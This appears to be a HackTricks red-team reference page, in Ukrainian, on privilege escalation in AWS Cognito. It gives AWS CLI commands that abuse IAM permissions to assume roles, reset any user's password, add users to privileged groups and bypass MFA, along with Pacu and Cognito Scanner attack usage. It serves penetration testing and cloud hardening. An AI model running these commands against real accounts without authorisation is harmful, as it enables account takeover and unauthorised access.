AWS - Cognito Privesc

Reading time: 12 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cognito

Для отримання додаткової інформації про Cognito перегляньте:

AWS - Cognito Enum

Збір облікових даних з Identity Pool

Оскільки Cognito може надавати облікові дані IAM ролі як автентифікованим, так і неавтентифікованим користувачам, якщо ви знайдете ID Identity Pool додатку (повинен бути закодований в ньому), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних).

Для отримання додаткової інформації перегляньте цю сторінку.

Потенційний вплив: Прямий privesc до ролі сервісу, прикріпленої до неавтентифікованих користувачів (і, ймовірно, до тієї, що прикріплена до автентифікованих користувачів).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

З цією дозволом ви можете надавати будь-яку роль cognito автентифікованим/неавтентифікованим користувачам додатку cognito.

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Якщо додаток cognito не має увімкнених неавтентифікованих користувачів, вам також може знадобитися дозвіл cognito-identity:UpdateIdentityPool, щоб увімкнути його.

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі cognito.

cognito-identity:update-identity-pool

Зловмисник з цим дозволом міг би, наприклад, налаштувати підконтрольний йому Cognito User Pool або будь-який інший постачальник ідентичності, де він може увійти, як спосіб доступу до цього Cognito Identity Pool. Тоді просто вхід на цьому постачальнику користувачів дозволить йому отримати доступ до налаштованої автентифікованої ролі в Identity Pool.

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Також можливо зловживати цим дозволом, щоб дозволити базову аутентифікацію:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Потенційний вплив: Компрометація налаштованої аутентифікованої IAM ролі всередині пулу ідентичностей.

cognito-idp:AdminAddUserToGroup

Ця дозволена дія дозволяє додати користувача Cognito до групи Cognito, тому зловмисник може зловживати цим дозволом, щоб додати користувача під своїм контролем до інших груп з кращими привілеями або іншими IAM ролями:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Потенційний вплив: Привілейоване підвищення до інших груп Cognito та IAM ролей, прикріплених до груп користувачів.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Зловмисник з цими дозволами може створювати/оновлювати групи з кожною IAM роллю, яка може бути використана скомпрометованим постачальником ідентичності Cognito і зробити скомпрометованого користувача частиною групи, отримуючи доступ до всіх цих ролей:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Потенційний вплив: Privesc до інших ролей IAM Cognito.

cognito-idp:AdminConfirmSignUp

Ця дозволяє підтвердити реєстрацію. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме підвищення привілеїв до інших функцій програми, маючи можливість підтвердити будь-який обліковий запис.

cognito-idp:AdminCreateUser

Ця дозволена дія дозволить зловмиснику створити нового користувача в пулі користувачів. Новий користувач створюється як активний, але повинен буде змінити свій пароль.

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Потенційний вплив: Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.

cognito-idp:AdminEnableUser

Ці дозволи можуть допомогти в дуже крайніх випадках, коли зловмисник знайшов облікові дані вимкненого користувача і йому потрібно включити його знову.

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів та дозволів користувача, якщо зловмисник мав облікові дані для деактивованого користувача.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Цей дозвіл дозволяє увійти за допомогою методу ADMIN_USER_PASSWORD_AUTH. Для отримання додаткової інформації перейдіть за посиланням.

cognito-idp:AdminSetUserPassword

Цей дозвіл дозволив би зловмиснику змінити пароль будь-якого користувача, що дозволяє йому видавати себе за будь-якого користувача (який не має увімкненої MFA).

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Потенційний вплив: Пряме підвищення привілеїв до потенційно будь-якого користувача, отже, доступ до всіх груп, членом яких є кожен користувач, та доступ до ролі IAM, автентифікованої через Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон під своїм контролем як SMS MFA користувача.

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Подібно до попереднього, цей дозвіл може бути використаний для налаштування переваг MFA користувача для обходу захисту MFA.

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Подібно до попереднього, цей дозвіл можна використовувати для налаштування переваг MFA користувацького пулу, щоб обійти захист MFA.

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Також можливо оновити пул користувачів, щоб змінити політику MFA. Check cli here.

Potential Impact: Непряме підвищення привілеїв до потенційно будь-якого користувача, облікові дані якого відомі атакуючому, це може дозволити обійти захист MFA.

cognito-idp:AdminUpdateUserAttributes

Атакуючий з цим дозволом може змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.
Це дозволяє змінити електронну пошту або номер телефону та встановити його як перевірений.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Потенційний вплив: Потенційний непрямий підвищення привілеїв в основному застосунку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Зловмисник з цим дозволом може створити новий User Pool Client з меншими обмеженнями, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду...

Те ж саме можна зробити, якщо замість створення нового клієнта, модифікується існуючий.

В командному рядку (або оновленому) ви можете побачити всі опції, перевірте це!.

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Потенційний вплив: Потенційний непрямий підвищення привілеїв до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Зловмисник може зловживати цим дозволом для створення користувачів, завантажуючи csv з новими користувачами.

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(У випадку, якщо ви створюєте нову задачу імпорту, вам також може знадобитися дозвіл iam passrole, я ще не тестував це).

Потенційний вплив: Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Зловмисник може створити нового постачальника ідентичностей, щоб потім мати можливість увійти через цього постачальника.

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Потенційний вплив: Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.

cognito-sync:* Аналіз

Це дуже поширений дозвіл за замовчуванням у ролях пулів ідентичностей Cognito. Навіть якщо символ підстановки в дозволах завжди виглядає погано (особливо з AWS), надані дозволи не є надто корисними з точки зору атакуючого.

Цей дозвіл дозволяє читати інформацію про використання пулів ідентичностей та ідентифікатори ідентичностей всередині пулів ідентичностей (що не є чутливою інформацією).
Ідентифікатори ідентичностей можуть мати Datasets, які призначені для них, що є інформацією про сесії (AWS визначає це як збережену гру). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на сторінці перерахування як отримати доступ до цієї інформації.

Атакуючий також може використовувати ці дозволи, щоб зареєструватися в потоці Cognito, який публікує зміни в цих датасетах або lambda, яка спрацьовує на події cognito. Я не бачив, щоб це використовувалося, і не очікував би чутливої інформації тут, але це не неможливо.

Автоматичні інструменти

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та підвищення привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентичності тощо.

Для опису функцій модулів дивіться частину 2 блог-посту. Для інструкцій з установки дивіться основну сторінку Pacu.

Використання

Приклад використання cognito__attack для спроби створення користувача та всіх векторів підвищення привілеїв проти даного пулу ідентичностей та клієнта пулу користувачів:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи ескалацію привілеїв.

Встановлення

bash
$ pip install cognito-scanner

Використання

bash
$ cognito-scanner --help

Для отримання додаткової інформації перегляньте https://github.com/padok-team/cognito-scanner

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks